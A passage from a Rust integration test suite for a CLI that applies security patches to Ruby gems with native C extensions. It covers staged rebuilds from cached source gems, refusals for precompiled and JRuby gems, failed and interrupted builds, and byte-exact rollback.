"$ext/sp_native" "$5/gems/$full/lib/sp_native" + # What was "compiled": the staged source, so a test can tell the build + # came from the patched tree. + {{ printf 'rebuilt from: '; cat "$5/gems/$full/ext/sp_native/sp_native.c"; }} > "$ext/sp_native/sp_native.so" + cp "$ext/sp_native/sp_native.so" "$5/gems/$full/lib/sp_native/sp_native.so" + : > "$ext/gem.build_complete" + printf 'sp_built\t%s\n' "$ext" ;; build) home=$(dirname "$(dirname "$4")") @@ -624,13 +745,35 @@ esac } /// Run the CLI in `proj` with this Ruby as the only program on `PATH`. + /// The gem registry is one that answers nothing ([`NO_REGISTRY`]): a + /// copy whose source gem is not in its home's `cache/` has none. fn run(&self, proj: &Path, args: &[&str], env: &[(&str, &str)]) -> (i32, String, String) { let path = self.bin.display().to_string(); - let mut all = vec![("PATH", path.as_str())]; + let mut all = vec![ + ("PATH", path.as_str()), + ("SOCKET_RUBYGEMS_URL", NO_REGISTRY), + ]; all.extend_from_slice(env); common::run_with_env(proj, args, &all) } + /// The tree this Ruby "unpacks" a source gem into: the files of + /// `sp_native-1.0.0.gem`, with `c` as its C source. + fn serve_source_gem(&self, c: &str) { + let source = self.state.join("source"); + std::fs::create_dir_all(source.join("ext/sp_native")).unwrap(); + std::fs::create_dir_all(source.join("lib")).unwrap(); + std::fs::create_dir_all(source.join("patches")).unwrap(); + std::fs::write(source.join(C_KEY), c).unwrap(); + std::fs::write(source.join("lib/sp_native.rb"), LIB_RB).unwrap(); + std::fs::write(source.join("patches/0001-base.patch"), "base\n").unwrap(); + } + + /// Make every later staged build fail, as a compile error does. + fn fail_builds(&self) { + std::fs::write(self.state.join("fail-build"), b"").unwrap(); + } + /// The modes this Ruby was run in, in order. fn calls(&self) -> Vec { std::fs::read_to_string(self.state.join("calls")) @@ -675,6 +818,7 @@ esac cmd.args(args) .current_dir(proj) .env("PATH", &self.bin) + .env("SOCKET_RUBYGEMS_URL", NO_REGISTRY) .stdin(std::process::Stdio::null()) .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::null()); @@ -1234,3 +1378,1175 @@ async fn the_opt_out_reaches_the_apply_that_scan_and_get_run() { ); } } + +// ── rebuilds from the source gem ────────────────────────────────────── +// +// An installed gem does not hold everything its extension was built from: +// a build deletes what it is done with (nokogiri's `ports/`), and a +// precompiled platform gem never shipped the build's inputs (`patches/`) +// nor has a build of its own. `apply` rebuilds from the ruby-platform +// source gem (the gem home's `cache/`, else the gem's source), in a stage +// inside the gem home, and puts the result in the installed copy's place: +// the extension dir of a gem RubyGems built, the prebuilt binary Ruby loads +// of a precompiled one. + +/// One file of a record: its key, the content it replaces (`None`: the +/// patch adds the file) and the content it writes. +type RecordFile<'a> = (&'a str, Option<&'a str>, &'a str); + +/// Write `.socket/manifest.json` and the blobs of a record for `purl` that +/// fixes one advisory (so `vex` has a statement to make). +fn write_record(socket: &Path, purl: &str, entries: &[RecordFile<'_>]) { + std::fs::create_dir_all(socket).unwrap(); + let mut files = serde_json::Map::new(); + for (key, before, after) in entries { + let before_hash = before.map(|b| git_sha256(b.as_bytes())).unwrap_or_default(); + let after_hash = git_sha256(after.as_bytes()); + if let Some(before) = before { + write_blob(socket, &before_hash, before.as_bytes()); + } + write_blob(socket, &after_hash, after.as_bytes()); + files.insert( + key.to_string(), + serde_json::json!({ "beforeHash": before_hash, "afterHash": after_hash }), + ); + } + let manifest = serde_json::json!({ + "patches": { + purl: { + "uuid": UUID, + "exportedAt": "2026-01-01T00:00:00Z", + "files": files, + "vulnerabilities": { + "GHSA-aaaa-bbbb-cccc": { + "cves": ["CVE-2026-0001"], + "summary": "s", + "severity": "HIGH", + "description": "d", + } + }, + "description": "synthetic test patch", + "license": "MIT", + "tier": "free", + } + } + }); + std::fs::write( + socket.join("manifest.json"), + serde_json::to_string_pretty(&manifest).unwrap(), + ) + .unwrap(); +} + +/// Whether `vex` attests the project's patch (`not_affected`). +fn vex_attests(run: impl Fn(&[&str]) -> (i32, String, String)) -> bool { + let (_, stdout, _) = run(&["vex", "--product", "pkg:generic/app@1"]); + stdout.contains("\"not_affected\"") +} + +const PRE_FULL_NAME: &str = "sp_native-1.0.0-x86_64-linux"; +const BASE_PATCH: &str = "base\n"; + +/// A hand-laid precompiled platform copy of `sp_native`: no extension dir +/// of its own, a prebuilt binary per Ruby minor in the rake-compiler +/// layout, the C source of that binary, and none of the build's other +/// inputs (`patches/`). `source_gem_cached`: the ruby-platform archive sits +/// in the home's `cache/`. +fn fake_precompiled_gem(source_gem_cached: bool) -> (tempfile::TempDir, PathBuf, PathBuf) { + let tmp = tempfile::tempdir().unwrap(); + let proj = tmp.path().to_path_buf(); + let home = proj.join("vendor/bundle/ruby/3.4.0"); + let gem_dir = home.join("gems").join(PRE_FULL_NAME); + std::fs::create_dir_all(gem_dir.join("ext/sp_native")).unwrap(); + std::fs::write(gem_dir.join(C_KEY), c_source(1)).unwrap(); + for minor in ["3.3", "3.4"] { + let dir = gem_dir.join("lib/sp_native").join(minor); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("sp_native.so"), prebuilt(minor)).unwrap(); + } + std::fs::write(gem_dir.join("lib/sp_native.rb"), LIB_RB).unwrap(); + // Another gem's extension dir: where the Ruby that owns this home + // builds. + let racc = home.join("extensions/x86_64-linux/3.4.0/racc-1.8.1"); + std::fs::create_dir_all(&racc).unwrap(); + std::fs::write(racc.join("gem.build_complete"), b"").unwrap(); + std::fs::create_dir_all(home.join("specifications")).unwrap(); + std::fs::write( + home.join("specifications") + .join(format!("{PRE_FULL_NAME}.gemspec")), + "Gem::Specification.new do |s|\n s.name = \"sp_native\".freeze\n \ + s.version = \"1.0.0\".freeze\n s.platform = \"x86_64-linux\".freeze\n \ + s.require_paths = [\"lib\".freeze]\nend\n", + ) + .unwrap(); + if source_gem_cached { + std::fs::create_dir_all(home.join("cache")).unwrap(); + std::fs::write(home.join("cache/sp_native-1.0.0.gem"), b"the source gem").unwrap(); + } + std::fs::write( + proj.join("Gemfile"), + "source \"https://rubygems.org\"\ngem \"sp_native\"\n", + ) + .unwrap(); + (tmp, proj, gem_dir) +} + +fn prebuilt(minor: &str) -> String { + format!("\x7fELF prebuilt for {minor}") +} + +/// What the stand-in Ruby "compiles" a staged tree whose C source is `c` +/// into. +fn built_from(c: &str) -> String { + format!("rebuilt from: {c}") +} + +/// The record the precompiled tests apply: a C source the copy ships, a +/// build input only the source gem packs, and one the patch adds. +fn write_precompiled_record(proj: &Path) { + let (before, after) = (c_source(1), c_source(2)); + write_record( + &proj.join(".socket"), + PURL, + &[ + (C_KEY, Some(&before), &after), + ("patches/0001-base.patch", Some(BASE_PATCH), "base, fixed\n"), + ("patches/0100-CVE-test.patch", None, "the fix\n"), + ], + ); +} + +/// A precompiled platform gem is patched, not refused: its extension is +/// built from the source gem with the record laid over it, and the build +/// takes the place of the prebuilt binary the owning Ruby loads. `apply +/// --check` and `vex` attest it while that binary is the built one, and +/// `rollback` gives the copy back byte for byte. No Ruby runs for a dry +/// run, a check or `vex`, and none is handed the Socket token. +#[cfg(unix)] +#[test] +fn a_precompiled_copy_gets_the_build_of_its_source_gem() { + const SECRET: &str = "sktsec_e2e_child_env_marker"; + let (_tmp, proj, gem_dir) = fake_precompiled_gem(true); + write_precompiled_record(&proj); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + let home = proj.join("vendor/bundle/ruby/3.4.0"); + let loaded = gem_dir.join("lib/sp_native/3.4/sp_native.so"); + let tree_before = walk_files(&proj.join("vendor")); + let run = |args: &[&str]| ruby.run(&proj, args, &[("SOCKET_API_TOKEN", SECRET)]); + + let (code, stdout, stderr) = run(&["apply", "--check", "--json"]); + assert_ne!( + code, 0, + "an unapplied patch checks clean:\n{stdout}\n{stderr}" + ); + let (code, stdout, stderr) = run(&["apply", "--json", "--dry-run", "--offline"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + assert!( + stdout.contains("native_extension_rebuilt") + && stdout.contains("replace the gem's prebuilt binary"), + "the dry run must say what apply would do: {stdout}" + ); + assert_eq!(ruby.calls(), Vec::::new(), "a dry run ran Ruby"); + assert_tree(&proj.join("vendor"), &tree_before, ""); + + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "applied", "{stdout}"); + let built = ["extensions_dir", "unpack", "missing_deps", "stage_build"]; + assert_eq!(ruby.calls(), built); + assert_eq!( + std::fs::read_to_string(ruby.state.join("platform-asked")).unwrap(), + "x86_64-linux\n", + "the Ruby is asked whether it runs the copy's platform" + ); + assert_eq!( + std::fs::read_to_string(&loaded).unwrap(), + built_from(&c_source(2)), + "the binary Ruby 3.4 loads is the build of the patched source gem" + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join("lib/sp_native/3.3/sp_native.so")).unwrap(), + prebuilt("3.3"), + "another Ruby's binary is not this build's to replace" + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join(C_KEY)).unwrap(), + c_source(2) + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join("patches/0001-base.patch")).unwrap(), + "base, fixed\n", + "a build input only the source gem packs is written into the copy" + ); + assert!(gem_dir.join("patches/0100-CVE-test.patch").is_file()); + let marker = std::fs::read_to_string(gem_dir.join(".socket-patch-native-build.json")).unwrap(); + assert!(marker.contains("\"grafted\": true"), "{marker}"); + assert!(gem_dir.join(".socket-patch-native-orig").is_dir()); + assert!( + !home.join(".socket-patch-build").exists(), + "the stage is removed" + ); + assert!( + !home.join("gems/sp_native-1.0.0").exists(), + "nothing is installed into the user's gem home" + ); + for mode in ruby.calls() { + let seen = ruby.env_seen(&mode); + assert!( + !seen.contains(SECRET), + "`ruby` ({mode}) was handed the Socket token" + ); + } + + // Attested from files alone. + let (code, stdout, stderr) = run(&["apply", "--check"]); + assert_eq!(code, 0, "a grafted patch checks clean:\n{stdout}\n{stderr}"); + assert!(vex_attests(run), "vex attests the grafted copy"); + let (code, stdout, _) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "{stdout}"); + assert_eq!(event_action(&stdout), "skipped", "{stdout}"); + assert_eq!(ruby.calls(), built, "nothing more to run"); + + // A binary that is no longer the built one (the gem was reinstalled). + std::fs::write(&loaded, prebuilt("3.4")).unwrap(); + let (code, stdout, _) = run(&["apply", "--check", "--json"]); + assert_ne!(code, 0, "{stdout}"); + assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert!(!vex_attests(run), "vex attested a prebuilt binary"); + std::fs::write(&loaded, built_from(&c_source(2))).unwrap(); + + let (code, stdout, stderr) = run(&["rollback", "--json", "--offline"]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert_tree( + &proj.join("vendor"), + &tree_before, + "rollback gives the copy back byte for byte", + ); + assert_eq!(ruby.calls(), built, "rollback restores from the backup"); +} + +/// Without the source gem there is nothing to build from: offline and not +/// cached, the copy is refused from files alone, with what is needed (not +/// "use hosted mode", which refuses platform gems); with a registry that +/// does not serve it, after the probe. Nothing is written either way. +#[cfg(unix)] +#[test] +fn a_precompiled_copy_without_its_source_gem_is_refused() { + let (_tmp, proj, _gem_dir) = fake_precompiled_gem(false); + write_precompiled_record(&proj); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + let tree_before = walk_files(&proj.join("vendor")); + + for args in [ + &["apply", "--json", "--offline"][..], + &["apply", "--json", "--offline", "--dry-run"], + ] { + let (code, stdout, stderr) = ruby.run(&proj, args, &[]); + assert_eq!(code, 1, "{args:?}: {stdout}\n{stderr}"); + let env = parse_json_envelope(&stdout); + let error = common::envelope::event_for(&env, PURL)["error"] + .as_str() + .unwrap_or_default() + .to_string(); + assert!( + error.starts_with("native_extensions_unsupported:"), + "{args:?}: {stdout}" + ); + for needle in [ + "sp_native-1.0.0.gem", + "this run is offline", + "with network access to the gem's source", + "cache", + ] { + assert!(error.contains(needle), "{args:?}: no {needle:?} in {error}"); + } + assert!(!error.contains("--mode hosted"), "{args:?}: {error}"); + assert_eq!(ruby.calls(), Vec::::new(), "{args:?}: Ruby ran"); + assert_tree(&proj.join("vendor"), &tree_before, &format!("{args:?}")); + } + + // Online, from a registry that does not have it. + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json"], &[]); + assert_eq!(code, 1, "{stdout}\n{stderr}"); + assert!(stdout.contains("native_extensions_unsupported"), "{stdout}"); + assert!(stdout.contains("could not be downloaded"), "{stdout}"); + assert_eq!(ruby.calls(), ["extensions_dir"]); + assert_tree(&proj.join("vendor"), &tree_before, ""); +} + +/// The record is laid over the pristine source gem before anything is +/// built, and every `beforeHash` must hold there: an archive that is not +/// the gem the patch was written for stops the run with nothing written to +/// the installed copy. +#[cfg(unix)] +#[test] +fn a_record_that_does_not_fit_the_source_gem_stops_before_the_build() { + let (_tmp, proj, _gem_dir) = fake_precompiled_gem(true); + write_precompiled_record(&proj); + let ruby = FakeRuby::new(); + // The installed copy holds the C source the record replaces; the + // "source gem" holds another. + ruby.serve_source_gem(&c_source(7)); + let tree_before = walk_files(&proj.join("vendor")); + + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 1, "{stdout}\n{stderr}"); + assert!(stdout.contains("native_extensions_unsupported"), "{stdout}"); + assert!( + stdout.contains("the patch does not apply to that gem"), + "{stdout}" + ); + assert_eq!( + ruby.calls(), + ["extensions_dir", "unpack"], + "nothing was built" + ); + assert_tree(&proj.join("vendor"), &tree_before, ""); +} + +/// A build that fails in the stage never touched the installed copy: a +/// precompiled gem keeps its prebuilt binary, a gem RubyGems built keeps +/// its extension dir, and neither gets a patched source. +#[cfg(unix)] +#[test] +fn a_failed_staged_build_changes_nothing() { + for precompiled in [true, false] { + let (_tmp, proj, _gem_dir) = if precompiled { + fake_precompiled_gem(true) + } else { + let fixture = fake_native_gem(true); + let cache = fixture.1.join("vendor/bundle/ruby/3.4.0/cache"); + std::fs::create_dir_all(&cache).unwrap(); + std::fs::write(cache.join("sp_native-1.0.0.gem"), b"the source gem").unwrap(); + fixture + }; + write_manifest(&proj.join(".socket"), &c_source(1), &c_source(2)); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + ruby.fail_builds(); + let tree_before = walk_files(&proj.join("vendor")); + + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 1, "precompiled {precompiled}: {stdout}\n{stderr}"); + assert!( + stdout.contains("native_extension_build_failed"), + "precompiled {precompiled}: {stdout}" + ); + assert!( + stdout.contains("this is not C"), + "the compiler error is shown: {stdout}" + ); + assert!( + stdout.contains("nothing of the installed gem was changed"), + "{stdout}" + ); + assert_eq!( + ruby.calls(), + ["extensions_dir", "unpack", "missing_deps", "stage_build"], + "precompiled {precompiled}: the gem's own tree is not built after its source gem \ + failed to" + ); + assert_tree( + &proj.join("vendor"), + &tree_before, + &format!("precompiled {precompiled}"), + ); + } +} + +/// A gem RubyGems built, with its archive still in the home's `cache/` +/// (where RubyGems and Bundler leave it), is rebuilt from that archive in +/// a stage: no network, the installed gemspec is not loaded, and the copy +/// ends as an in-place rebuild would leave it. An archive RubyGems cannot +/// use as that gem leaves the copy's own tree to build. +#[cfg(unix)] +#[test] +fn a_built_gem_with_its_archive_cached_is_rebuilt_in_a_stage() { + let (_tmp, proj, gem_dir) = fake_native_gem(true); + let home = proj.join("vendor/bundle/ruby/3.4.0"); + std::fs::create_dir_all(home.join("cache")).unwrap(); + std::fs::write(home.join("cache/sp_native-1.0.0.gem"), b"the source gem").unwrap(); + let ext_so = home + .join("extensions/x86_64-linux/3.4.0") + .join(FULL_NAME) + .join("sp_native/sp_native.so"); + let lib_so = gem_dir.join("lib/sp_native/sp_native.so"); + let tree_before = walk_files(&proj.join("vendor")); + + // The archive is another gem: the in-place rebuild is what is left. + write_manifest(&proj.join(".socket"), &c_source(1), &c_source(2)); + let ruby = FakeRuby::new(); + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(ruby.calls(), ["extensions_dir", "unpack", "build"]); + assert_eq!(std::fs::read(&lib_so).unwrap(), b"rebuilt"); + let (code, stdout, stderr) = ruby.run(&proj, &["rollback", "--json", "--offline"], &[]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert_tree(&proj.join("vendor"), &tree_before, ""); + + // The archive is the gem: built in a stage, moved into place. + write_manifest(&proj.join(".socket"), &c_source(1), &c_source(2)); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "applied", "{stdout}"); + assert_eq!( + ruby.calls(), + ["extensions_dir", "unpack", "missing_deps", "stage_build"], + "the installed gemspec is not loaded by a build" + ); + for built in [&ext_so, &lib_so] { + assert_eq!( + std::fs::read_to_string(built).unwrap(), + built_from(&c_source(2)), + "{}", + built.display() + ); + } + assert!(ext_so + .parent() + .and_then(Path::parent) + .is_some_and(|ext| ext.join("gem.build_complete").is_file())); + assert_eq!( + std::fs::read_to_string(gem_dir.join(C_KEY)).unwrap(), + c_source(2) + ); + let marker = std::fs::read_to_string(gem_dir.join(".socket-patch-native-build.json")).unwrap(); + assert!(marker.contains("\"schema\": 1"), "{marker}"); + assert!(!home.join(".socket-patch-build").exists()); + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--check"], &[]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + + let (code, stdout, stderr) = ruby.run(&proj, &["rollback", "--json", "--offline"], &[]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert_tree(&proj.join("vendor"), &tree_before, ""); +} + +/// An interrupt during a staged build ends the build with the CLI, and +/// leaves an installed copy that was never touched. The stage it leaves in +/// the gem home is only disk space: the next run of the copy drops it. +#[cfg(unix)] +#[test] +fn an_interrupted_staged_build_leaves_the_copy_as_it_was() { + use std::os::unix::process::ExitStatusExt; + let (_tmp, proj, gem_dir) = fake_precompiled_gem(true); + write_manifest(&proj.join(".socket"), &c_source(1), &c_source(2)); + let home = proj.join("vendor/bundle/ruby/3.4.0"); + let stage = home.join(".socket-patch-build").join(PRE_FULL_NAME); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + ruby.hang_builds(false); + let copy_before = walk_files(&gem_dir); + + let (mut cli, build) = ruby.spawn_until_building(&proj, &["apply", "--json", "--offline"]); + assert!(stage.is_dir(), "the build is staged inside the gem home"); + assert_tree(&gem_dir, ©_before, "the copy is not touched"); + // SAFETY: plain kill(2) on our own child's pid. + assert_eq!( + unsafe { libc::kill(cli.id() as libc::pid_t, libc::SIGTERM) }, + 0 + ); + let status = cli.wait().unwrap(); + assert_eq!(status.signal(), Some(libc::SIGTERM), "got {status}"); + assert!( + !build.outlives_the_cli(), + "the build kept running after the interrupted CLI was gone" + ); + assert!(!proj.join(".socket/apply.lock").exists()); + assert_tree(&gem_dir, ©_before, "the copy is as it was"); + assert!(stage.is_dir(), "the stage is left behind"); + + // The copy still checks as unpatched, and the next apply completes. + let (code, _, _) = ruby.run(&proj, &["apply", "--check"], &[]); + assert_ne!(code, 0); + ruby.finish_builds(); + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 0, "apply after the interrupt:\n{stdout}\n{stderr}"); + assert!( + !home.join(".socket-patch-build").exists(), + "the stale stage is swept" + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join("lib/sp_native/3.4/sp_native.so")).unwrap(), + built_from(&c_source(2)) + ); + let (code, stdout, stderr) = ruby.run(&proj, &["rollback", "--json", "--offline"], &[]); + assert_eq!(code, 0, "rollback:\n{stdout}\n{stderr}"); + assert_tree(&gem_dir, ©_before, ""); +} + +/// A Ruby that does not run the copy's platform does not own it: nothing +/// is unpacked, built or written. +#[cfg(unix)] +#[test] +fn a_ruby_of_another_platform_does_not_rebuild_a_precompiled_copy() { + let (_tmp, proj, _gem_dir) = fake_precompiled_gem(true); + write_manifest(&proj.join(".socket"), &c_source(1), &c_source(2)); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + std::fs::write(ruby.state.join("other-platform"), b"").unwrap(); + let tree_before = walk_files(&proj.join("vendor")); + + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 1, "{stdout}\n{stderr}"); + assert!(stdout.contains("native_extensions_unsupported"), "{stdout}"); + assert!( + stdout.contains("does not run x86_64-linux gems"), + "{stdout}" + ); + assert_eq!(ruby.calls(), ["extensions_dir"]); + assert_tree(&proj.join("vendor"), &tree_before, ""); +} + +/// The JRuby build of a gem ships jars compiled from Java sources: nothing +/// here rebuilds them, so a record that changes one is refused with +/// nothing written, and a copy that holds the patched source anyway is +/// never reported as patched. Its Ruby files are patched as any gem's. +#[test] +fn a_java_gem_is_refused_and_never_attested() { + const JAVA_KEY: &str = "ext/java/sp/SpNative.java"; + let (before, after) = ( + "class SpNative { int v = 1; }\n", + "class SpNative { int v = 2; }\n", + ); + let tmp = tempfile::tempdir().unwrap(); + let proj = tmp.path().to_path_buf(); + let home = proj.join("vendor/bundle/jruby/3.4.0"); + let gem_dir = home.join("gems/sp_native-1.0.0-java"); + std::fs::create_dir_all(gem_dir.join("ext/java/sp")).unwrap(); + std::fs::create_dir_all(gem_dir.join("lib/sp_native")).unwrap(); + std::fs::write(gem_dir.join(JAVA_KEY), before).unwrap(); + std::fs::write(gem_dir.join("lib/sp_native.rb"), LIB_RB).unwrap(); + std::fs::write(gem_dir.join("lib/sp_native/sp_native.jar"), b"PK jar").unwrap(); + std::fs::create_dir_all(home.join("specifications")).unwrap(); + std::fs::write( + home.join("specifications/sp_native-1.0.0-java.gemspec"), + "Gem::Specification.new do |s|\n s.name = \"sp_native\".freeze\n \ + s.version = \"1.0.0\".freeze\n s.platform = \"java\".freeze\n \ + s.require_paths = [\"lib\".freeze]\nend\n", + ) + .unwrap(); + std::fs::write( + proj.join("Gemfile"), + "source \"https://rubygems.org\"\ngem \"sp_native\"\n", + ) + .unwrap(); + let socket = proj.join(".socket"); + write_record(&socket, PURL, &[(JAVA_KEY, Some(before), after)]); + let tree_before = walk_files(&proj.join("vendor")); + + for args in [&["apply", "--json"][..], &["apply", "--json", "--dry-run"]] { + let (code, stdout, stderr) = run_without_ruby(&proj, args); + assert_eq!(code, 1, "{args:?}: {stdout}\n{stderr}"); + assert!( + stdout.contains("native_extensions_unsupported") && stdout.contains("JRuby"), + "{args:?}: {stdout}" + ); + assert_tree(&proj.join("vendor"), &tree_before, &format!("{args:?}")); + } + + // The patched source over the old jar is not a patched gem. + std::fs::write(gem_dir.join(JAVA_KEY), after).unwrap(); + let (code, stdout, _) = run_without_ruby(&proj, &["apply", "--check", "--json"]); + assert_ne!(code, 0, "{stdout}"); + assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert!( + !vex_attests(|args| run_without_ruby(&proj, args)), + "vex attested a jar that was not rebuilt" + ); + let (code, stdout, _) = run_without_ruby(&proj, &["apply", "--json"]); + assert_eq!(code, 1, "{stdout}"); + assert!(stdout.contains("native_extensions_unsupported"), "{stdout}"); + + // A Ruby file of the same gem needs no build. + let patched_rb = "require \"sp_native/sp_native\"\n# patched\n"; + write_record( + &socket, + PURL, + &[("lib/sp_native.rb", Some(LIB_RB), patched_rb)], + ); + let (code, stdout, stderr) = run_without_ruby(&proj, &["apply", "--json"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "applied", "{stdout}"); + assert!(vex_attests(|args| run_without_ruby(&proj, args))); +} + +// ── the capstones: a real build from a real source gem ──────────────── + +/// `sp_archive`: a C-extension gem shaped like nokogiri. Its `extconf.rb` +/// builds from files outside `ext/` (`ports/value.txt`, the names under +/// `patches/`), needs a helper gem (`sp_portile`, as nokogiri needs +/// `mini_portile2`) and deletes `ports/` once it has read it, so an +/// installed copy cannot be rebuilt in place. What it compiled in is read +/// back through `SpArchive.describe`. +const ARCHIVE_PURL: &str = "pkg:gem/sp_archive@1.0.0"; +const ARCHIVE_EXTCONF: &str = r##"require "mkmf" +require "fileutils" +gem "sp_portile", "~> 1.0" +require "sp_portile" +root = File.expand_path("../..", __dir__) +ports = File.join(root, "ports") +value = File.join(ports, "value.txt") +unless File.file?(value) + abort "ports/value.txt is not there: the build of an installed copy removed it" +end +patches = Dir[File.join(root, "patches", "*.patch")].map { |p| File.basename(p) }.sort +File.write("sp_config.h", <<~HEADER) + #define SP_VALUE #{Integer(File.read(value).strip)} + #define SP_PATCHES "#{patches.join(",")}" + #define SP_PORTILE "#{SpPortile::VERSION}" +HEADER +create_makefile("sp_archive/sp_archive") +FileUtils.rm_rf(ports) +"##; +const ARCHIVE_LIB: &str = + "begin\n require \"sp_archive/#{RUBY_VERSION[/\\d+\\.\\d+/]}/sp_archive\"\n\ + rescue LoadError\n require \"sp_archive/sp_archive\"\nend\n"; +const ARCHIVE_GEMSPEC: &str = "Gem::Specification.new do |s|\n s.name = \"sp_archive\"\n \ + s.version = \"1.0.0\"\n s.summary = \"t\"\n s.authors = [\"t\"]\n \ + s.files = Dir[\"lib/**/*.rb\", \"ext/**/*.{c,rb}\", \"patches/*\", \"ports/*\"]\n \ + s.extensions = [\"ext/sp_archive/extconf.rb\"]\n \ + s.add_runtime_dependency \"sp_portile\", \"~> 1.0\"\nend\n"; +const ARCHIVE_C_KEY: &str = "ext/sp_archive/sp_archive.c"; +const ORIGINAL_BUILD: &str = "base=1 value=40 patches=0001-base.patch portile=1.0.2"; +const PATCHED_BUILD: &str = + "base=2 value=41 patches=0001-base.patch,0100-CVE-test.patch portile=1.0.2"; + +fn archive_c(base: u32) -> String { + format!( + "#include \"ruby.h\"\n#include \"sp_config.h\"\n#define SP_BASE {base}\n\ + static VALUE sp_describe(VALUE self) {{\n \ + return rb_sprintf(\"base=%d value=%d patches=%s portile=%s\", SP_BASE, SP_VALUE, \ + SP_PATCHES, SP_PORTILE);\n}}\n\ + void Init_sp_archive(void) {{\n \ + VALUE m = rb_define_module(\"SpArchive\");\n \ + rb_define_singleton_method(m, \"describe\", sp_describe, 0);\n}}\n" + ) +} + +/// Run `gem ` in `dir`, with a scratch `HOME` and `env` on top. +fn gem(scratch: &Path, dir: &Path, args: &[&str], env: &[(&str, &Path)]) { + let user_home = scratch.join("gem-user-home"); + std::fs::create_dir_all(&user_home).unwrap(); + let mut cmd = Command::new("gem"); + cmd.args(args).current_dir(dir).env("HOME", &user_home); + for (key, value) in env { + cmd.env(key, value); + } + let out = cmd.output().unwrap_or_else(|e| panic!("gem {args:?}: {e}")); + assert!( + out.status.success(), + "gem {args:?} failed:\n{}\n{}", + String::from_utf8_lossy(&out.stdout), + String::from_utf8_lossy(&out.stderr) + ); +} + +/// One line of the host Ruby's output for `program`. +fn ruby_says(program: &str) -> String { + let out = Command::new("ruby") + .args(["-e", program]) + .env_remove("RUBYOPT") + .output() + .unwrap(); + assert!(out.status.success(), "ruby -e {program:?} failed"); + String::from_utf8_lossy(&out.stdout).trim().to_string() +} + +/// The built `sp_archive-1.0.0.gem` and `sp_portile-1.0.2.gem`, and a +/// project whose `vendor/bundle/ruby/` home holds one installed copy. +struct ArchiveFixture { + _tmp: tempfile::TempDir, + proj: PathBuf, + home: PathBuf, + /// The installed copy: `gems/sp_archive-1.0.0[-]`. + gem_dir: PathBuf, + /// `sp_archive-1.0.0.gem`, outside the project. + source_gem: PathBuf, + /// `sp_portile-1.0.2.gem`, outside the project. + portile_gem: PathBuf, +} + +impl ArchiveFixture { + /// Build both gems, and install `sp_archive` into the project's home: + /// from source with RubyGems' own build (`precompiled: false`), or as + /// the platform gem a gem author would publish, built from that + /// compiled extension in the rake-compiler layout and installed with + /// no `sp_portile` and no source archive beside it. + fn new(abi: &str, precompiled: bool) -> ArchiveFixture { + let tmp = tempfile::tempdir().unwrap(); + let scratch = tmp.path().to_path_buf(); + let portile = scratch.join("sp_portile"); + std::fs::create_dir_all(portile.join("lib")).unwrap(); + std::fs::write( + portile.join("lib/sp_portile.rb"), + "module SpPortile; VERSION = \"1.0.2\"; end\n", + ) + .unwrap(); + std::fs::write( + portile.join("sp_portile.gemspec"), + "Gem::Specification.new do |s|\n s.name = \"sp_portile\"\n s.version = \"1.0.2\"\n \ + s.summary = \"t\"\n s.authors = [\"t\"]\n s.files = [\"lib/sp_portile.rb\"]\nend\n", + ) + .unwrap(); + gem(&scratch, &portile, &["build", "sp_portile.gemspec"], &[]); + let portile_gem = portile.join("sp_portile-1.0.2.gem"); + + let src = scratch.join("sp_archive"); + std::fs::create_dir_all(src.join("ext/sp_archive")).unwrap(); + std::fs::create_dir_all(src.join("lib")).unwrap(); + std::fs::create_dir_all(src.join("patches")).unwrap(); + std::fs::create_dir_all(src.join("ports")).unwrap(); + std::fs::write(src.join("ext/sp_archive/extconf.rb"), ARCHIVE_EXTCONF).unwrap(); + std::fs::write(src.join(ARCHIVE_C_KEY), archive_c(1)).unwrap(); + std::fs::write(src.join("lib/sp_archive.rb"), ARCHIVE_LIB).unwrap(); + std::fs::write(src.join("patches/0001-base.patch"), BASE_PATCH).unwrap(); + std::fs::write(src.join("ports/value.txt"), "40\n").unwrap(); + std::fs::write(src.join("sp_archive.gemspec"), ARCHIVE_GEMSPEC).unwrap(); + gem(&scratch, &src, &["build", "sp_archive.gemspec"], &[]); + let source_gem = src.join("sp_archive-1.0.0.gem"); + + let proj = 